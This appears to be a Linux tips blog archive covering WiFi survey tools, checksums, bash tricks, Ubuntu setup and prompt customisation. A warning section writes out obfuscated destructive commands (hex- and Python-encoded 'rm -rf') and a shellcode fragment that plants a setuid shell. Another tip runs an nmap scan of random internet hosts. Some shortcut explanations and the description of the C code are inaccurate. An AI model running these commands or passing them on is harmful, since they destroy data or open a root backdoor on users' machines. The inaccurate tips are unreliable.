Tag Archives: shell

Another look at the WIFI Radar application for Linux. A good tool for a wireless site survey.

WiFi Radar. A very good tool for Linux.
WiFi Radar. A very good tool for Linux.

The WIFI Radar application for Linux is used to perform a wireless site survey to determine the signal strength of a wireless network that you are deploying at a particular site. This application makes a survey of wireless signal strength very easy indeed. The SSID/MAC address of the access point is shown, as well as signal strength in a bar graph. The mode, 802.11 status & channel is displayed for easy reading. This makes a scan for wireless access points lots of fun. I typed yum install wifi-radar on Fedora 20 to install this useful application.

When the user of a machine is connected to an AP, they may use other command line tools to find out about the AP. Below is an example using the iwconfig command.

[homer@localhost Documents]$ iwconfig wlp0s29f7u3
wlp0s29f7u3  IEEE 802.11bg  ESSID:"GTLHOUSE"  
          Mode:Managed  Frequency:2.472 GHz  Access Point: 84:C9:B2:BD:C2:E8   
          Bit Rate=5.5 Mb/s   Tx-Power=20 dBm   
          Retry  long limit:7   RTS thr:off   Fragment thr:off
          Power Management:off
          Link Quality=70/70  Signal level=-31 dBm  
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:4  Invalid misc:9   Missed beacon:0

Or the iwgetid command.

[homer@localhost Documents]$ iwgetid 
wlp0s29f7u3  ESSID:"GTLHOUSE"

This command will list all available wireless interfaces on your Linux machine.

[homer@localhost Documents]$ iw dev
	Interface wlp0s29f7u3
		ifindex 5
		wdev 0x1
		addr e0:91:f5:23:fd:ad
		type managed
		channel 13 (2472 MHz), width: 20 MHz (no HT), center1: 2472 MHz

use the station dump parameter to get more information about the wireless network you are connected to.

[homer@localhost Documents]$ iw dev wlp0s29f7u3 station dump
Station 84:c9:b2:bd:c2:e8 (on wlp0s29f7u3)
	inactive time:	19687 ms
	rx bytes:	684520
	rx packets:	12269
	tx bytes:	16436
	tx packets:	320
	tx retries:	23
	tx failed:	6
	signal:  	-31 dBm
	signal avg:	-31 dBm
	tx bitrate:	11.0 MBit/s
	rx bitrate:	1.0 MBit/s
	authorized:	yes
	authenticated:	yes
	preamble:	long
	WMM/WME:	no
	MFP:		no
	TDLS peer:	no

This tool and these useful commands should be very helpful when you are performing a wireless site survey.

How to get the MD5 sum of a file with the Linux command line and the md5sum command.

The md5sum command on Linux is used to get a number that is the checksum of the file. This is commonly used to verify downloaded files to check that the file has not been modified. Below is an example, the md5sum command is used on a BMP file and I get the file checksum output to STDOUT.

[homer@localhost Documents]$ md5sum manse.bmp 
089eac92c14a147ddb165784fa60b985  manse.bmp

If I then convert the image to a jpeg and then get the md5sum it will be different.

[homer@localhost Documents]$ convert manse.bmp manse.jpg

As shown here. Even a tiny change to the file will be shown as a different md5sum. It is practically impossible for a file to be changed and the md5sum to be the same number. Unless the new number just happens to be the same number after all. But the chances of that happening are extremely remote. This is possible, but remote with standard files. Read more here: http://stackoverflow.com/questions/933497/create-your-own-md5-collisions.

[homer@localhost Documents]$ md5sum manse.jpg 
726cd62d73183ac7cdc039d0f259130c  manse.jpg

How to use the watch command to update a terminal every 2 seconds with an updating file.

I am using this command to search the Internet for open ports on port 80 with nmap.

sudo nmap -sS -iR 0 -p 80 -oG nmap.grepable

Then I use this command in another terminal tab to view the updating file. This will be updated every two seconds with new file content.

watch cat nmap.grepable

This is a good way to monitor files for any changes.

This is another good way. This command will constantly monitor the /var/log/dmesg file for any new kernel messages.

watch tail -n 10 /var/log/dmesg

This command will watch for new kernel messages.

watch tail /var/log/kern.log

The watch command is a very useful tool to run in a spare xterm to monitor your logfiles. Give these tricks a try and see how useful they really are.

How to add the output of a command when echoing text with bash.

This is how to do this; just add the backticks and you may then echo the output of the logname command in this echo string.

echo "Hello `logname`, this is a nice day is it not?"

This will add the output of the command by executing it and showing the output.

Here we are showing the content of an environment variable.

homer@lollinux-machina:~$ echo "Hello ${LOGNAME}, this is a nice day is it not?"
Hello homer, this is a nice day is it not?

This is the environment variable value in capitals.

homer@lollinux-machina:~$ echo "Hello ${LOGNAME^^}, this is a nice day is it not?"
Hello HOMER, this is a nice day is it not?

And with the first letter capitalized.

homer@lollinux-machina:~$ echo "Hello ${LOGNAME^}, this is a nice day is it not?"
Hello Homer, this is a nice day is it not?

This command is printing the kernel version.

homer@lollinux-machina:~$ echo "This is the kernel release: `uname -r`"
This is the kernel release: 3.12.0-3-generic

These tips are very useful when you are writing a shell script. See what you can do with this!

My sysinfo program is now on GitHub!

I have uploaded my sysinfo program to GitHub, this makes it easier for me to manage the code and have a revision control system to control changes to the code. I have added code to print information about your Motherboard and the BIOS. I wish there was a proper programming interface to get this information though. But this utility works very well indeed. I tried Google Code; but GitHub suits me better in terms of having a backup of my valuable code. I can commit changes to code and download a snapshot whenever I wish. See my GIT repository here: https://github.com/john302/sysinfo.

How to setup Ubuntu 13.10 with a better desktop environment. Better than Unity.

How to setup Ubuntu 13.10 with a proper desktop environment.

I just installed Ubuntu 13.10 and I had to update the package repositories. This is essential to install software.

homer@deusvult:~/Documents$ sudo apt-get update

After this I could install the initial set of packages to setup my system.

homer@deusvult:~/Documents$ sudo apt-get install me-tv vlc ubuntu-restricted-extras smplayer banshee audacious

Then I installed the Gnome Shell desktop to replace Unity.

homer@deusvult:~/Documents$ sudo apt-get install gnome-shell

Then I had to install some extra themes and the ubiquitous Midnight Commander file manager.

homer@deusvult:~/Documents$ sudo apt-get install mc ubuntu-wallpapers-karmic ubuntu-wallpapers-maverick gnome-themes-extras gnome-themes-ubuntu gnome-tweak-tool

Installing the wallpapers from older releases of Ubuntu allows more customisation. This on top of the already attractive Gnome Shell desktop is a bonus.

There are extensions for the Gnome Shell desktop here: https://extensions.gnome.org/.

if you want a cool diversion whilst you are using your Ubuntu deskop; there is a copy of Mario here that you can play in your browser: http://www.fullscreenmario.com/index.html?nochrome. This works well in Firefox.

Another cool feature in Gnome Shell 3.8.4 is the ability to change the background of the lock screen. This is shown below.

Gnome Shell wallpaper selection.
Gnome Shell wallpaper selection.

Common errors and troubleshooting commands for Linux.

Some useful Linux tips and troubleshooting commands.

32bit CPU error.
32bit CPU error.

If you are getting this error when you are attempting to run Ubuntu on your PC; it is due to the fact that your CPU does not support the 64bit operating system that you are trying to run. You would need to use an i386 copy instead.

How to install the restricted codecs in Ubuntu.

To install the required codecs for multimedia playback on Ubuntu; just type this command.

sudo apt-get install ubuntu-restricted-extras

This will install everything that you need to get Ubuntu multimedia playback working.

How to boot an Ubuntu live ISO from the GRUB bootloader.

If you wish to copy an Ubuntu live ISO to your hard drive and boot it without using a USB stick or a CDROM, then this posting will help you out.

http://www.securitronlinux.com/bejiitaswrath/how-to-boot-an-ubuntu-iso-without-a-thumb-drive-or-a-cd-read-more-to-find-out/. How to boot an Ubuntu ISO from the GRUB bootloader directly. This really works!

How to re-install the GRUB bootloader using a live Linux CD.

http://www.securitronlinux.com/linux-mint-2/re-installing-the-grub2-bootloader-using-a-chroot-with-linux-mint-14/. Using a chroot to re-install the GRUB bootloader.

using aliases on the bash shell to make using the command line faster.


How to find out the domain name that goes with an IP address.

Use the nslookup command to find the hostname that is asssociated with an IP address. This is a very useful command.

homer@neo:~$ nslookup

Non-authoritative answer:	name = google-public-dns-a.google.com.

Authoritative answers can be found from:

How to check if a host is up without using ping.

If you are behind a proxy that blocks ping packets and you wish to check if a host is up; then this perl script will suit you fine.

Here is the output.

root@neo:/home/homer/Documents# ./net.pl
Please type a host to check: -:
#-Protocol tcp is NOT reachable.
#-Protocol udp is NOT reachable.
#-Protocol icmp is NOT reachable.
#-Protocol stream is NOT reachable.
#-Protocol syn is reachable.

And here is a copy of the script.


use warnings;
use strict;

use Net::Ping;

# code source: http://www.perlmonks.org/?node_id=943892
# More: http://stackoverflow.com/questions/3960595/how-can-i-ping-a-host-with-a-perl-one-liner-with-netping

#$| = 1;
print "Please type a host to check: -:\n";
my $host = <>; #Reading input from STDIN.

if (length($host) < 3) {
    print "You did not type a host!\n";

my @proto = ("tcp", "udp", "icmp", "stream", "syn");

foreach my $pro ( @proto ) {
    print "#-Protocol $pro \n";
    my $p = Net::Ping->new($pro);
    # Specify source interface of pings
    print "$host is ";
    print "NOT " unless $p->ping($host, 2);
    print "reachable.\n";


Use this and at least one of the protocols will work. You need to run this as root to use ICMP probes though.

List all hard drives and partitions on your computer.

Use the fdisk -l command as root to list all drives and partitions on your computer. This is useful if you want to install another Linux distribution and you wish to determine which partition you can use.

homer@neo:~/Documents$ sudo fdisk -l

Disk /dev/sda: 120.0 GB, 120034123776 bytes
255 heads, 63 sectors/track, 14593 cylinders, total 234441648 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x0008186c

   Device Boot      Start         End      Blocks   Id  System
/dev/sda1   *        2048      206847      102400    7  HPFS/NTFS/exFAT
/dev/sda2          206848   234438655   117115904    7  HPFS/NTFS/exFAT

Disk /dev/sdb: 320.1 GB, 320072932352 bytes
255 heads, 63 sectors/track, 38913 cylinders, total 625142446 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x2774878b

   Device Boot      Start         End      Blocks   Id  System
/dev/sdb1            2048    29362175    14680064   27  Hidden NTFS WinRE
/dev/sdb2   *    29362176    29566975      102400    7  HPFS/NTFS/exFAT
/dev/sdb3        29566976   418666495   194549760    7  HPFS/NTFS/exFAT
/dev/sdb4       418668542   593827839    87579649    f  W95 Ext'd (LBA)
/dev/sdb5       418668544   490896783    36114120    7  HPFS/NTFS/exFAT
/dev/sdb6       490897408   588553657    48828125    7  HPFS/NTFS/exFAT
/dev/sdb7       588554240   593827839     2636800   82  Linux swap / Solaris

Disk /dev/sdc: 8095 MB, 8095006720 bytes
9 heads, 48 sectors/track, 36598 cylinders, total 15810560 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x1bf0d4df

   Device Boot      Start         End      Blocks   Id  System
/dev/sdc1            2048    15808511     7903232    7  HPFS/NTFS/exFAT

You may specify a drive to query this way. I am running Debian 7.1 off an external drive at the moment, so /dev/sda is NTFS.

homer@neo:~/Documents$ sudo fdisk -l /dev/sda

Disk /dev/sda: 120.0 GB, 120034123776 bytes
255 heads, 63 sectors/track, 14593 cylinders, total 234441648 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x0008186c

   Device Boot      Start         End      Blocks   Id  System
/dev/sda1   *        2048      206847      102400    7  HPFS/NTFS/exFAT
/dev/sda2          206848   234438655   117115904    7  HPFS/NTFS/exFAT

Run a command on the Linux shell that will be immune to hangups if you are disconnected.

The nohup command will allow you to execute a command in an SSH session that will continue to run if you are disconnected. Then you may have peace of mind that your important find command will not be cut off.


Useful bash shell shortcut keys to navigate the command line.

Useful bash shell shortcut keys to navigate the command line.

^a, ^e – Move the cursor. The Ctrl-a shortcut will move the cursor to the beginning of the line. The Ctrl-e shortcut will bring the cursor to the end of the line.

^d – End of file or EOF. This tells a console application that you are done entering text.

^i – Clear the terminal buffer. This means that in a terminal, there will be no history to scroll back through. This does not seem to work in the MATE terminal though.

^z, – Suspend and resume output. This will tell a program to quit printing output to your terminal device. If you type fg, the program will return to the foreground.

^l – Clear the screen. This will clear the screen and leave a blank slate for more commands.

^c – Stop a command. This shortcut will stop a command running and return you to the prompt.

With these useful shortcuts; you can easily navigate the bash shell prompt and make even more use of your Linux terminal.

How to use Google search in a web browser. This is a bash styled shell for Google searches.

Check this website out: http://goosh.org/. This website allows you to perform Google searches using a command line like bash. Just type a search query at the command line and the results will be displayed to STDOUT.

Here is an example:

[email protected]:/web> linux shell
  1) 	Linux Shell Scripting Tutorial - A Beginner's handbook - FreeOS.com
Table of Contents. Chapter 1: Quick Introduction to Linux · What Linux is? Who developed the Linux? How to get Linux? How to Install Linux · Where I can use ...


  2) 	Unix shell - Wikipedia, the free encyclopedia
A Unix shell is a command-line interpreter or shell that provides a traditional .... the default interactive shell for users on most GNU/Linux and Mac OS X systems.


  3) 	LinuxCommand.org: Learning the shell.
Collection of Linux command-line tutorials, focused on the BASH shell.


  4) 	LinuxCommand.org: Writing shell scripts.
Here is where the fun begins. With the thousands of commands available for the command line user, how can you remember them all? The answer is, you don't.


This is a cool way to show off your command line skills.

There is also a Google command line utility available for Windows and Linux. Get this from here: http://code.google.com/p/googlecl/. This allows you to use various Google services from the command line. This does not currently allow Google searches, but this has many other features that make it worth investigating. To install it; download the tar.gz file and unpack it in your home folder.

Then cd into the directory created and execute this command to install:

12:51:55 ~ homer@neo $ su -c 'python setup.py install'

The required Python packages will be fetched automatically. This is on Fedora Core 19; but other Linux distributions should manage this just as well.

If all goes well; you should be able to run the google command and get some output.

13:04:59 ~ homer@neo $ google --version
google 0.9.13

Here is an example using Blogger with the command-line. When you execute this command you will be prompted for the name of the blog and then your default browser will open and prompt you for permission for the GoogleCL script to access your Google services.

13:09:35 ~ homer@neo $ google --user johnsmith blogger post --tags "GoogleCL, awesome" "Here's a really short post about the GoogleCL script."
Please specify blog: My Misc Blog.

So, give this a go and see what you think of this script.

How to prevent a file from being overwritten using the tcsh shell on Linux.

This example using the set noclobber command prevents existing files from being overwritten.

9:18am homer /home/homer/Documents ) set noclobber
9:18am homer /home/homer/Documents ) ls ip.txt
9:18am homer /home/homer/Documents ) echo "hello" > ip.txt
ip.txt: File exists.

But you can still erase the file with the rm command.

9:20am homer /home/homer/Documents ) rm ip.txt
11:27pm homer /home/homer/Documents ) ls ip.txt
ls: cannot access ip.txt: No such file or directory

This is how to override this setting if need be. Use the echo “hello” >! ip.txt command to force a write to an existing file.

11:46pm homer /home/homer/Documents ~/Documents> echo "hello" > ip.txt
11:46pm homer /home/homer/Documents ~/Documents> echo "hello" > ip.txt
ip.txt: File exists.
11:46pm homer /home/homer/Documents ~/Documents> echo "hello" >! ip.txt

This is how I got my awesome tcsh shell prompt. This one is rather nice.

set prompt = "%t %n %/ %~%# "

Get more information about the tcsh shell here: http://www.acm.uiuc.edu/workshops/cool_unix/tcsh-startup.html.

A useful bash shell script that will only run a command as the root user.

This is a shell script that will only run if the user executes it as the root user. I got this tip here: http://www.cyberciti.biz/tips/shell-root-user-check-script.html.


CMDROOT="yum update"

if [[ $EUID -ne 0 ]]; then
	echo "You must be a root user to run this command." 2>&1
	exit 1
	echo "The command you ordered is: \"$CMDROOT\" And it is about to run."
	exec $CMDROOT

Here is some code that will create a folder if it does not exist.

# Make a folder if it does not exist.

if [ -e mydir ]; then
	echo "The folder exists."
	mkdir mydir

How to convert text to uppercase with the command-line. Simply use the tr command to transform the text into uppercase.

-{homer@neo } $ echo "Hello World" | tr a-z A-Z

This is how to do this with environment variables.

|{~/Documents}-{Mon Aug 26 23:49:45}
-{homer@neo } $ echo ${LOGNAME^^}

Do you want a DOS styled prompt for your Linux box? Then put this into your .bashrc file and that is what you will get.

PS1='C:${PWD_UPCASE//\//\\}> '

How to easily create a bash shell prompt for your personal use using a website interface.

The bash $PS1 generator here: http://www.kirsle.net/wizards/ps1.html allows you to create a cool bash shell prompt with a minimum of fuss. You can add colors to various parts of the prompt and make it look very nice indeed. Check it out now and see what you think.

Here is one that I made. This uses tput to set colors instead of using escape sequences. This is better practice it seems.

# Custom bash prompt via kirsle.net/wizards/ps1.html
export PS1="\[$(tput bold)\]\[$(tput setaf 6)\]\t \u@\h \W \\$:>\[$(tput sgr0)\]"

There is another website that allows the creation of a bash shell prompt: http://ezprompt.net/. This one uses the older escape sequences instead of tput; but it is also a very good website.

If you want a simple drag and drop method of creating a useful bash shell prompt for Macintosh and Linux computers, then this website is excellent: http://xta.github.io/HalloweenBash/. This website lets you use simple drag and drop to create a complex bash prompt. The way this works is by dragging and dropping blocks to create the prompt. Very easy to use.

Some commands that you should never run in Linux ever!

This is one command that you should never run on Linux.

$(echo 726d202d7266202a | xxd -r -p)

This is the text string “rm -rf *”” that is converted to hexadecimal and then put into this command. This will erase all of your files if you run this in your home directory.

The code below is C and this code when compiled and executed will remove all files in the directory you run it in and all subdirectories of the directory. This code runs this command: “rm -rf ~ / &”. Do not run this code if you see this anywhere.

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"cp -p /bin/sh /tmp/.beyond; chmod 4755

Here is another example in Python. This will also remove all files in a directory and all subdirectories.

python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))'

This is a common example posted on various Internet forums. This will run an infinite number of processes on your system and bring your computer to its knees. Do not run this command ever!


This is a common trick on certain web forums that someone will post a command that is obfuscated with a hexadecimal number. So do not run any command that is not clearly readable. These commands are a subset of the dangerous commands that are available on Linux. So be careful on web forums and only run commands that you know are safe.

Some very useful online Linux resources.

http://www.scribd.com/doc/12918020/Linux-Starter-Pack; The Linux starter pack. This is very good as an introduction to the Linux desktop and the various utilities available.

http://tille.garrels.be/training/bash/; Introduction to Linux guide for beginners. This is a good resource if you want to learn more about the Linux shell and usage in general.

http://securitron.securitronlinux.com/lc/rute/; Rute User’s Tutorial and Exposition. The definitive Linux resource for new users. This is the best resource for learning about PC hardware, Linux shell and useful commands.

http://en.flossmanuals.net/; FLOSS manuals. A website with many manuals for Free Linux Open Source Software.

http://www.advancedlinuxprogramming.com/alp-folder/; The Advanced Linux Programming manual.

http://linux-training.be/files/books/LinuxFun.pdf; Linux Fundamentals. An excellent Linux resource for anyone who is using this free and open desktop OS.

http://www.tldp.org/LDP/intro-linux/intro-linux.pdf; The Linux Documentation project – Introduction to Linux. A good read for those users that are new to Linux.

Some very good Gnome Shell themes for Ubuntu and Linux Mint 15.

An attractive Gnome Shell desktop.
An attractive Gnome Shell desktop.

http://gnome-look.org/content/show.php/GNOME+Shell%3A+Nord?content=142971. Nord Gnome Shell theme, now compatible with Gnome 3.6.

http://gnome-look.org/content/show.php/LittleBigMod_2nd?content=152088. LittleBigMod Gnome Shell 3.6 theme. A very good and sleek theme.

http://gnome-look.org/content/show.php/London+Smoke+-+Gnome-Shell?content=142426. London Smoke theme for Gnome Shell 3.4.

http://gnome-look.org/content/show.php/malys+-++GS?content=142262. Malys theme for Gnome Shell 3.4.1. Another quality theme for your Linux desktop.

http://gnome-look.org/content/show.php/Darkair+%28+3.4%2B3.6%2B3.8%2B3.9.2%29?content=156215. Darkair Gnome Shell theme. A theme with a lovely orange motif.

http://gnome-look.org/content/show.php/NovaShell?content=151522. NovaShell Gnome Shell theme. This looks a lot like the default Gnome Shell theme.

Zukitwo GTK 3 theme: http://gnome-look.org/content/show.php/Zukitwo?content=140562. This is a very high rated GTK theme for MATE and Gnome Shell. This would be very good for any Gnome Shell desktop.

Hope GTK 3 theme: http://gnome-look.org/content/show.php/Hope+gtk3?content=141491. Another lovely GTK 3 theme.

DeLorean Dark. A dark brushed metal theme for GTK 3: http://gnome-look.org/content/show.php/DeLorean-Dark+–+Gnome+3.4+%26+3.6?content=153866. If you want a nice dark theme for GTK 3.0; then this one will suit you just fine.